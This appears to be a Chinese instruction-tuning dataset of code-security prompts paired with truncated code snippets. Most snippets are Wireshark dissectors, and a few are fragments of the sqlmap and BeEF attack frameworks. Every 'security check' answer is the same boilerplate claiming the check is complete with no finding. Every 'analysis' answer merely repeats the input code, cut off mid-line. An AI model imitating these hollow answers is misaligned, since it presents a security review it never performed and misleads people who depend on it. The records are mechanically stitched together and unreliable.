Instruction: 检查这段代码是否存在安全问题

Input:
/* DO NOT EDIT
	This file was automatically generated by Pidl
	from frsrpc.idl and frsrpc.cnf.

	Pidl is a perl based IDL compiler for DCE/RPC idl files.
	It is maintained by the Samba team, not the Wireshark team.
	Instructions on how to download and install Pidl can be
	found at https://gitlab.com/wireshark/wireshark/-/wikis/Pidl
*/

#include "config.h"
#include <glib.h>
#include <string.h>
#include <epan/packet.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-nt.h"
#include "packet-windows-common.h"
#include "packet-dcerpc-frsrpc.h"
void proto_register_dcerpc_frsrpc(void);
void proto_reg_handoff_dcerpc_frsrpc(void);

/* Ett declarations */
static gint ett_ChunkCtr = -1;
static gint ett_dcerpc_frsrpc = -1;
static gint ett_frsrpc_frsrpc_CommPktChunkGuidName = -1;
static gint ett_frsrpc_frsrpc_CommPktGSVN = -1;
static gint ett_frsrpc_frsrpc_CommPktCoCmdFlags = -1;
static gint ett_frsrpc_frsrpc_CommPktCoCmdIFlags = -1;
static gint ett_frsrpc_frsrpc_CommPktCoCmdContentCmd = -1;
static gint ett_frsrpc_frsrpc_CommPktChangeOrderCommand = -1;
static gint ett_frsrpc_frsrpc_CommPktDataExtensionChecksum = -1;
static gint ett_frsrpc_frsrpc_CommPktDataExtensionRetryTimeout = -1;
static gint ett_frsrpc_frsrpc_CommPktCoRecordExtensionWin2k = -1;
static gint ett_frsrpc_frsrpc_CommPktChangeOrderRecordExtension = -1;
static gint ett_frsrpc_frsrpc_CommPktChunkData = -1;
static gint ett_frsrpc_frsrpc_CommPktChunk = -1;
static gint ett_frsrpc_frsrpc_FrsSendCommPktReq = -1;

/* Header field declarations */
static gint hf_CommPktChunk = -1;
static gint hf_frsrpc_CommPktChangeOrderCommand_file_name = -1;
static gint hf_frsrpc_frsrpc_CommPktChangeOrderCommand_ack_version = -1;
static gint hf_frsrpc_frsrpc_CommPktChangeOrderCommand_change_order_guid = -1;
static gint hf_frsrpc_frsrpc_CommPktChangeOrderCommand_connection_guid = -1;
static gint hf_frsrpc_frsrpc_CommPktChangeOrderCommand_content_cmd = -1;
static gint hf_frsrpc_frsrpc_CommPktChangeOrderCommand_event_time = -1;
static g...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

import requests

import re

category_text = """

                                    HTTP 参数污染

                                    后门

                                    Cookie 验证错误

                                    跨站请求伪造

                                    ShellCode

                                    SQL 注入

                                    任意文件下载

                                    任意文件创建

                                    任意文件删除

                                    任意文件读取

      ...


Instruction: 检查这段代码是否存在安全问题

Input:
import requests

import re

category_text = """

                                    HTTP 参数污染

                                    后门

                                    Cookie 验证错误

                                    跨站请求伪造

                                    ShellCode

                                    SQL 注入

                                    任意文件下载

                                    任意文件创建

                                    任意文件删除

                                    任意文件读取

      ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dcerpc-rs_prop_acl.c
 *
 * Routines for rs_prop_acl dissection
 * Copyright 2004, Jaime Fournier <jaime.fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/security.tar.gz security/idl/rs_prop_acl.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-dcerpc.h"

void proto_register_rs_prop_acl (void);
void proto_reg_handoff_rs_prop_acl (void);

static int proto_rs_prop_acl = -1;
static int hf_rs_prop_acl_opnum = -1;

static gint ett_rs_prop_acl = -1;
static e_guid_t uuid_rs_prop_acl =
  { 0x591d87d0, 0xde64, 0x11ca, {0xa1, 0x1c, 0x08, 0x00, 0x1e, 0x03, 0x94,
                                 0xc7} };

static guint16 ver_rs_prop_acl = 1;

static dcerpc_sub_dissector rs_prop_acl_dissectors[] = {
  {0, "replace", NULL, NULL},
  {0, NULL, NULL, NULL}
};

void
proto_register_rs_prop_acl (void)
{
  static hf_register_info hf[] = {
    {&hf_rs_prop_acl_opnum,
     {"Operation", "rs_prop_acl.opnum", FT_UINT16, BASE_DEC, NULL, 0x0,
      NULL, HFILL}},
  };

  static gint *ett[] = {
    &ett_rs_prop_acl,
  };
  proto_rs_prop_acl =
    proto_register_protocol
    ("DCE/RPC Registry server propagation interface - ACLs", "rs_prop_acl",
     "rs_prop_acl");
  proto_register_field_array (proto_rs_prop_acl, hf, array_length (hf));
  proto_register_subtree_array (ett, array_length (ett));
}

void
proto_reg_handoff_rs_prop_acl (void)
{
  /* Register the protocol as dcerpc */
  dcerpc_init_uuid (proto_rs_prop_acl, ett_rs_prop_acl, &uuid_rs_prop_acl,
                    ver_rs_prop_acl, rs_prop_acl_dissectors,
                    hf_rs_prop_acl_opnum);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local Variables:
 * c-basic-offset: 2
 * tab-width: 8
 * indent-tabs-mode: nil
...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dcerpc-rs_prop_acl.c
 *
 * Routines for rs_prop_acl dissection
 * Copyright 2004, Jaime Fournier <jaime.fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/security.tar.gz security/idl/rs_prop_acl.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-dcerpc.h"

void proto_register_rs_prop_acl (void);
void proto_reg_handoff_rs_prop_acl (void);

static int proto_rs_prop_acl = -1;
static int hf_rs_prop_acl_opnum = -1;

static gint ett_rs_prop_acl = -1;
static e_guid_t uuid_rs_prop_acl =
  { 0x591d87d0, 0xde64, 0x11ca, {0xa1, 0x1c, 0x08, 0x00, 0x1e, 0x03, 0x94,
                                 0xc7} };

static guint16 ver_rs_prop_acl = 1;

static dcerpc_sub_dissector rs_prop_acl_dissectors[] = {
  {0, "replace", NULL, NULL},
  {0, NULL, NULL, NULL}
};

void
proto_register_rs_prop_acl (void)
{
  static hf_register_info hf[] = {
    {&hf_rs_prop_acl_opnum,
     {"Operation", "rs_prop_acl.opnum", FT_UINT16, BASE_DEC, NULL, 0x0,
      NULL, HFILL}},
  };

  static gint *ett[] = {
    &ett_rs_prop_acl,
  };
  proto_rs_prop_acl =
    proto_register_protocol
    ("DCE/RPC Registry server propagation interface - ACLs", "rs_prop_acl",
     "rs_prop_acl");
  proto_register_field_array (proto_rs_prop_acl, hf, array_length (hf));
  proto_register_subtree_array (ett, array_length (ett));
}

void
proto_reg_handoff_rs_prop_acl (void)
{
  /* Register the protocol as dcerpc */
  dcerpc_init_uuid (proto_rs_prop_acl, ett_rs_prop_acl, &uuid_rs_prop_acl,
                    ver_rs_prop_acl, rs_prop_acl_dissectors,
                    hf_rs_prop_acl_opnum);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local Variables:
 * c-basic-offset: 2
 * tab-width: 8
 * indent-tabs-mode: nil
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* DO NOT EDIT
 * This dissector is autogenerated
 */

/* packet-dcerpc-butc.c
 * Routines for BUTC packet disassembly
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>
#include <string.h>

#include <epan/packet.h>
#include "packet-dcerpc.h"
#include "packet-dcerpc-nt.h"
#include "packet-windows-common.h"
#include "packet-dcerpc-butc.h"

void proto_register_butc(void);
void proto_reg_handoff_butc(void);

static int proto_butc = -1;
ETH_HF

ETH_ETT

static int
butc_dissect_NameString_t(tvbuff_t *tvb, int offset, packet_info *pinfo, proto_tree *tree, dcerpc_info *di, guint8 *drep, int hf_index, guint32 param _U_)
{
    offset=dissect_ndr_vstring(tvb, offset, pinfo, tree, di, drep, 1, hf_index, FALSE, NULL);
    return offset;
}

ETH_CODE

void
proto_register_butc(void)
{
        static hf_register_info hf[] = {

ETH_HFARR
	};

        static gint *ett[] = {
ETH_ETTARR
        };

        proto_butc = proto_register_protocol(
                "DCE/RPC BUTC",
		"BUTC", "butc");
	proto_register_field_array(proto_butc, hf, array_length(hf));
        proto_register_subtree_array(ett, array_length(ett));
}

static dcerpc_sub_dissector function_dissectors[] = {
ETH_FT
	{ 0, NULL, NULL, NULL },
};

void
proto_reg_handoff_butc(void)
{
ETH_HANDOFF
}


Instruction: 检查这段代码是否存在安全问题

Input:
/* DO NOT EDIT
 * This dissector is autogenerated
 */

/* packet-dcerpc-butc.c
 * Routines for BUTC packet disassembly
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>
#include <string.h>

#include <epan/packet.h>
#include "packet-dcerpc.h"
#include "packet-dcerpc-nt.h"
#include "packet-windows-common.h"
#include "packet-dcerpc-butc.h"

void proto_register_butc(void);
void proto_reg_handoff_butc(void);

static int proto_butc = -1;
ETH_HF

ETH_ETT

static int
butc_dissect_NameString_t(tvbuff_t *tvb, int offset, packet_info *pinfo, proto_tree *tree, dcerpc_info *di, guint8 *drep, int hf_index, guint32 param _U_)
{
    offset=dissect_ndr_vstring(tvb, offset, pinfo, tree, di, drep, 1, hf_index, FALSE, NULL);
    return offset;
}

ETH_CODE

void
proto_register_butc(void)
{
        static hf_register_info hf[] = {

ETH_HFARR
	};

        static gint *ett[] = {
ETH_ETTARR
        };

        proto_butc = proto_register_protocol(
                "DCE/RPC BUTC",
		"BUTC", "butc");
	proto_register_field_array(proto_butc, hf, array_length(hf));
        proto_register_subtree_array(ett, array_length(ett));
}

static dcerpc_sub_dissector function_dissectors[] = {
ETH_FT
	{ 0, NULL, NULL, NULL },
};

void
proto_reg_handoff_butc(void)
{
ETH_HANDOFF
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import CRATEDB_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

class Fingerprint(GenericFingerprint):
    def __init__(self):
        GenericFingerprint.__init__(self, DBMS.CRATEDB)

    def getFingerprint(self):
        value = ""
        wsOsFp = Format.getOs("web server", kb.headersFp)

        if wsOsFp:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

            if dbmsOsFp:
                value += "%s\n" % dbmsOsFp

        value += "back-end DBMS: "

        if not conf.extensiveFp:
            value += DBMS.CRATEDB
            return value

        actVer = Format.getDbms()
        blank = " " * 15
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp.get("dbmsVersion")

            if banVer:
                banVer = Format.getDbms([banVer])
                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)

        return value

    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES):
            setDbms(DBMS.CRATEDB)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.CRATEDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)")

        if result:
         ...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import CRATEDB_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint

class Fingerprint(GenericFingerprint):
    def __init__(self):
        GenericFingerprint.__init__(self, DBMS.CRATEDB)

    def getFingerprint(self):
        value = ""
        wsOsFp = Format.getOs("web server", kb.headersFp)

        if wsOsFp:
            value += "%s\n" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)

            if dbmsOsFp:
                value += "%s\n" % dbmsOsFp

        value += "back-end DBMS: "

        if not conf.extensiveFp:
            value += DBMS.CRATEDB
            return value

        actVer = Format.getDbms()
        blank = " " * 15
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp.get("dbmsVersion")

            if banVer:
                banVer = Format.getDbms([banVer])
                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)

        return value

    def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES):
            setDbms(DBMS.CRATEDB)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.CRATEDB
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)")

        if result:
         ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-tpncp.c
 * Routines for Audiocodes TrunkPack Network Control Protocol (TPNCP) dissection
 *
 * Copyright (c) 2007 by Valery Sigalov <valery.sigalov@audiocodes.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.com>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*---------------------------------------------------------------------------*/

#define WS_LOG_DOMAIN "TPNCP"
#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/expert.h>
#include <epan/prefs.h>
#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/report_message.h>
#include <wsutil/strtoi.h>
#include <epan/wmem_scopes.h>
#include "packet-acdr.h"
#include "packet-tcp.h"

/*---------------------------------------------------------------------------*/

#define BASE_TPNCP_PORT 2424
#define HA_PORT_TPNCP_TRUNKPACK 2442
#define TCP_PORT_TPNCP_TRUNKPACK BASE_TPNCP_PORT
#define UDP_PORT_TPNCP_TRUNKPACK BASE_TPNCP_PORT
#define TCP_PORT_TPNCP_HOST BASE_TPNCP_PORT
#define UDP_PORT_TPNCP_HOST BASE_TPNCP_PORT

#define MAX_TPNCP_DB_ENTRY_LEN 3000

#define MAX_TPNCP_DB_SIZE 5000
#define MAX_ENUMS_NUM 1000
#define MAX_ENUM_ENTRIES 1000

/*---------------------------------------------------------------------------*/

void proto_register_tpncp(void);
void proto_reg_handoff_tpncp(void);

enum SpecialFieldType {
    TPNCP_NORMAL,
    TPNCP_ADDRESS_FAMILY,
    TPNCP_IP_ADDR,
    TPNCP_OPEN_CHANNEL_START,
    TPNCP_SECURITY_START,
    TPNCP_SECURITY_OFFSET,
    RTP_STATE_START,
    RTP_STATE_OFFSET,
    RTP_STATE_END,
    TPNCP_CHANNEL_CONFIGURATION
};

/* The linked list for storing information about specific data fields. */
typedef struct tpncp_data_field_info
{
    gchar *name;
    gint   descr;
    gint   ipv6_descr;
    gint   array_dim;
    enum SpecialFieldType special_type;
    guchar size;
    guchar sign;
    gint   since;
    struct tpncp_data_field_info *p_next;
} tpncp_data_...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-tpncp.c
 * Routines for Audiocodes TrunkPack Network Control Protocol (TPNCP) dissection
 *
 * Copyright (c) 2007 by Valery Sigalov <valery.sigalov@audiocodes.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.com>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*---------------------------------------------------------------------------*/

#define WS_LOG_DOMAIN "TPNCP"
#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/expert.h>
#include <epan/prefs.h>
#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/report_message.h>
#include <wsutil/strtoi.h>
#include <epan/wmem_scopes.h>
#include "packet-acdr.h"
#include "packet-tcp.h"

/*---------------------------------------------------------------------------*/

#define BASE_TPNCP_PORT 2424
#define HA_PORT_TPNCP_TRUNKPACK 2442
#define TCP_PORT_TPNCP_TRUNKPACK BASE_TPNCP_PORT
#define UDP_PORT_TPNCP_TRUNKPACK BASE_TPNCP_PORT
#define TCP_PORT_TPNCP_HOST BASE_TPNCP_PORT
#define UDP_PORT_TPNCP_HOST BASE_TPNCP_PORT

#define MAX_TPNCP_DB_ENTRY_LEN 3000

#define MAX_TPNCP_DB_SIZE 5000
#define MAX_ENUMS_NUM 1000
#define MAX_ENUM_ENTRIES 1000

/*---------------------------------------------------------------------------*/

void proto_register_tpncp(void);
void proto_reg_handoff_tpncp(void);

enum SpecialFieldType {
    TPNCP_NORMAL,
    TPNCP_ADDRESS_FAMILY,
    TPNCP_IP_ADDR,
    TPNCP_OPEN_CHANNEL_START,
    TPNCP_SECURITY_START,
    TPNCP_SECURITY_OFFSET,
    RTP_STATE_START,
    RTP_STATE_OFFSET,
    RTP_STATE_END,
    TPNCP_CHANNEL_CONFIGURATION
};

/* The linked list for storing information about specific data fields. */
typedef struct tpncp_data_field_info
{
    gchar *name;
    gint   descr;
    gint   ipv6_descr;
    gint   array_dim;
    enum SpecialFieldType special_type;
    guchar size;
    guchar sign;
    gint   since;
    struct tpncp_data_field_info *p_next;
} tpncp_data_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-tnef.c
 * Routines for Transport-Neutral Encapsulation Format (TNEF) packet disassembly
 *
 * Copyright (c) 2007 by Graeme Lunt
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>

#include <wiretap/tnef.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-nspi.h"
#include "packet-ber.h"

#define PNAME  "Transport-Neutral Encapsulation Format"
#define PSNAME "TNEF"
#define PFNAME "tnef"

#define ATP_TRIPLES   (0x0000)
#define ATP_STRING    (0x0001)
#define ATP_TEXT      (0x0002)
#define ATP_DATE      (0x0003)
#define ATP_SHORT     (0x0004)
#define ATP_LONG      (0x0005)
#define ATP_BYTE      (0x0006)
#define ATP_WORD      (0x0007)
#define ATP_DWORD     (0x0008)
#define ATP_MAX       (0x0009)

#define ATT_OWNER                     (0x00060000) /* handled */
#define ATT_SENT_FOR                  (0x00060001) /* handled */
#define ATT_DELEGATE                  (0x00060002)
#define ATT_DATE_START                (0x00030006) /* handled */
#define ATT_DATE_END                  (0x00030007) /* handled */
#define ATT_AID_OWNER                 (0x00040008)
#define ATT_REQUEST_RES               (0x00040009)

#define ATT_FROM                      (0x00008000)
#define ATT_SUBJECT                   (0x00018004)
#define ATT_DATE_SENT                 (0x00038005) /* handled */
#define ATT_DATE_RECD                 (0x00038006) /* handled */
#define ATT_MESSAGE_STATUS            (0x00068007)
#define ATT_MESSAGE_CLASS             (0x00078008) /* handled */
#define ATT_MESSAGE_ID                (0x00018009)
#define ATT_PARENT_ID                 (0x0001800A) /* handled */
#define ATT_CONVERSATION_ID           (0x0001800B) /* handled */
#define ATT_BODY                      (0x0002800C)
#define ATT_PRIORITY                  (0x0004800D) /* handled */
#define ATT_ATTACH_DATA               (...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-tnef.c
 * Routines for Transport-Neutral Encapsulation Format (TNEF) packet disassembly
 *
 * Copyright (c) 2007 by Graeme Lunt
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>

#include <wiretap/tnef.h>

#include "packet-dcerpc.h"
#include "packet-dcerpc-nspi.h"
#include "packet-ber.h"

#define PNAME  "Transport-Neutral Encapsulation Format"
#define PSNAME "TNEF"
#define PFNAME "tnef"

#define ATP_TRIPLES   (0x0000)
#define ATP_STRING    (0x0001)
#define ATP_TEXT      (0x0002)
#define ATP_DATE      (0x0003)
#define ATP_SHORT     (0x0004)
#define ATP_LONG      (0x0005)
#define ATP_BYTE      (0x0006)
#define ATP_WORD      (0x0007)
#define ATP_DWORD     (0x0008)
#define ATP_MAX       (0x0009)

#define ATT_OWNER                     (0x00060000) /* handled */
#define ATT_SENT_FOR                  (0x00060001) /* handled */
#define ATT_DELEGATE                  (0x00060002)
#define ATT_DATE_START                (0x00030006) /* handled */
#define ATT_DATE_END                  (0x00030007) /* handled */
#define ATT_AID_OWNER                 (0x00040008)
#define ATT_REQUEST_RES               (0x00040009)

#define ATT_FROM                      (0x00008000)
#define ATT_SUBJECT                   (0x00018004)
#define ATT_DATE_SENT                 (0x00038005) /* handled */
#define ATT_DATE_RECD                 (0x00038006) /* handled */
#define ATT_MESSAGE_STATUS            (0x00068007)
#define ATT_MESSAGE_CLASS             (0x00078008) /* handled */
#define ATT_MESSAGE_ID                (0x00018009)
#define ATT_PARENT_ID                 (0x0001800A) /* handled */
#define ATT_CONVERSATION_ID           (0x0001800B) /* handled */
#define ATT_BODY                      (0x0002800C)
#define ATT_PRIORITY                  (0x0004800D) /* handled */
#define ATT_ATTACH_DATA               (...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_unity < BeEF::Core::Command
  def post_execute
    content = {}
    content['unity'] = @datastore['unity']
    save content
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_unity < BeEF::Core::Command
  def post_execute
    content = {}
    content['unity'] = @datastore['unity']
    save content
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* tap-srt.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <epan/packet.h>
#include <epan/srt_table.h>
#include <epan/timestamp.h>
#include <epan/stat_tap_ui.h>
#include <wsutil/cmdarg_err.h>
#include <ui/cli/tshark-tap.h>

#define NANOSECS_PER_SEC 1000000000

typedef struct _srt_t {
	const char *type;
	const char *filter;
	srt_data_t data;
} srt_t;

static void
draw_srt_table_data(srt_stat_table *rst, gboolean draw_footer, const char *subfilter)
{
	int i;
	guint64 td;
	guint64 sum;

	if (rst->num_procs > 0) {
		if (rst->filter_string != NULL && subfilter != NULL) {
			printf("Filter: %s and (%s)\n", rst->filter_string, subfilter);
		} else if (subfilter != NULL) {
			/* Print (subfilter) to disambiguate from just rst->filter_string. */
			printf("Filter: (%s)\n", subfilter);
		} else {
			printf("Filter: %s\n", rst->filter_string ? rst->filter_string : "");
		}
		printf("Index  %-22s Calls    Min SRT    Max SRT    Avg SRT    Sum SRT\n", (rst->proc_column_name != NULL) ? rst->proc_column_name : "Procedure");
	}
	for(i=0;i<rst->num_procs;i++){
		/* ignore procedures with no calls (they don't have rows) */
		if(rst->procedures[i].stats.num==0){
			continue;
		}
		/* Scale the average SRT in units of 1us and round to the nearest us.
		   tot.secs is a time_t which may be 32 or 64 bits (or even floating)
		   depending uon the platform.  After casting tot.secs to 64 bits, it
		   would take a capture with a duration of over 136 *years* to
		   overflow the secs portion of td. */
		td = ((guint64)(rst->procedures[i].stats.tot.secs))*NANOSECS_PER_SEC + rst->procedures[i].stats.tot.nsecs;
		sum = (td + 500) / 1000;
		td = ((td / rst->procedures[i].stats.num) + 500) / 1000;

		printf("%5d  %-22s %6u %3d.%06d %3d.%06d %3d.%06d %3d.%06d\n",
		       i, rst->procedure...


Instruction: 检查这段代码是否存在安全问题

Input:
/* tap-srt.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <epan/packet.h>
#include <epan/srt_table.h>
#include <epan/timestamp.h>
#include <epan/stat_tap_ui.h>
#include <wsutil/cmdarg_err.h>
#include <ui/cli/tshark-tap.h>

#define NANOSECS_PER_SEC 1000000000

typedef struct _srt_t {
	const char *type;
	const char *filter;
	srt_data_t data;
} srt_t;

static void
draw_srt_table_data(srt_stat_table *rst, gboolean draw_footer, const char *subfilter)
{
	int i;
	guint64 td;
	guint64 sum;

	if (rst->num_procs > 0) {
		if (rst->filter_string != NULL && subfilter != NULL) {
			printf("Filter: %s and (%s)\n", rst->filter_string, subfilter);
		} else if (subfilter != NULL) {
			/* Print (subfilter) to disambiguate from just rst->filter_string. */
			printf("Filter: (%s)\n", subfilter);
		} else {
			printf("Filter: %s\n", rst->filter_string ? rst->filter_string : "");
		}
		printf("Index  %-22s Calls    Min SRT    Max SRT    Avg SRT    Sum SRT\n", (rst->proc_column_name != NULL) ? rst->proc_column_name : "Procedure");
	}
	for(i=0;i<rst->num_procs;i++){
		/* ignore procedures with no calls (they don't have rows) */
		if(rst->procedures[i].stats.num==0){
			continue;
		}
		/* Scale the average SRT in units of 1us and round to the nearest us.
		   tot.secs is a time_t which may be 32 or 64 bits (or even floating)
		   depending uon the platform.  After casting tot.secs to 64 bits, it
		   would take a capture with a duration of over 136 *years* to
		   overflow the secs portion of td. */
		td = ((guint64)(rst->procedures[i].stats.tot.secs))*NANOSECS_PER_SEC + rst->procedures[i].stats.tot.nsecs;
		sum = (td + 500) / 1000;
		td = ((td / rst->procedures[i].stats.num) + 500) / 1000;

		printf("%5d  %-22s %6u %3d.%06d %3d.%06d %3d.%06d %3d.%06d\n",
		       i, rst->procedure...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-gmhdr.c
 * Routines for Gigamon header disassembly (modified from packet-vlan.c)
 *
 * Dissector for Gigamon Header and Trailer
 * Copyright Gigamon 2010
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/prefs.h>
#include <epan/in_cksum.h>
#include <epan/crc32-tvb.h>
#include <wsutil/crc32.h>
#include <wsutil/pint.h>
#include <epan/expert.h>

#include "packet-ieee8023.h"

void proto_register_gmhdr(void);
void proto_reg_handoff_gmhdr(void);

static dissector_handle_t gmhdr_handle;

#define GMHDR_FTYPE_PKTSIZE             1
#define GMHDR_FTYPE_SRCPORT_G           2
#define GMHDR_FTYPE_TIMESTAMP_LOCAL     3
#define GMHDR_FTYPE_TIMESTAMP_NTP       4
#define GMHDR_FTYPE_TIMESTAMP_GPS       5
#define GMHDR_FTYPE_TIMESTAMP_1588      6
#define GMHDR_FTYPE_FCS                 7
#define GMHDR_FTYPE_SRCPORT_H           8

static const value_string gmhdr_ftype_timestamp[] = {
  { GMHDR_FTYPE_TIMESTAMP_LOCAL, "Local" },
  { GMHDR_FTYPE_TIMESTAMP_NTP,   "NTP" },
  { GMHDR_FTYPE_TIMESTAMP_GPS,   "GPS" },
  { GMHDR_FTYPE_TIMESTAMP_1588,  "1588" },
  { 0,                           NULL }
};

#define GMHDR_SRCPORT_G_PLFM_MASK   0xf80000
#define GMHDR_SRCPORT_G_GID_MASK    0x078000
#define GMHDR_SRCPORT_G_BID_MASK    0x007c00
#define GMHDR_SRCPORT_G_PID_MASK    0x0003ff
#define GMHDR_SRCPORT_G_PLFM_SHFT   19
#define GMHDR_SRCPORT_G_GID_SHFT    15
#define GMHDR_SRCPORT_G_BID_SHFT    10
#define GMHDR_SRCPORT_G_PID_SHFT    0

#define GMHDR_SRCPORT_H_PLFM_MASK   0xFC000000
#define GMHDR_SRCPORT_H_GID_MASK    0x03C00000
#define GMHDR_SRCPORT_H_BID_MASK    0x003F0000
#define GMHDR_SRCPORT_H_SID_MASK    0x0000FC00
#define GMHDR_SRCPORT_H_PID_MASK    0x000003FF
#define GMHDR_SRCPORT_H_PLFM_SHFT   26
#define GMHDR_SRCPORT_H_GID_SHFT    20
#define GMHDR_SRCPORT_H_BID_SHFT    16
#defi...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-gmhdr.c
 * Routines for Gigamon header disassembly (modified from packet-vlan.c)
 *
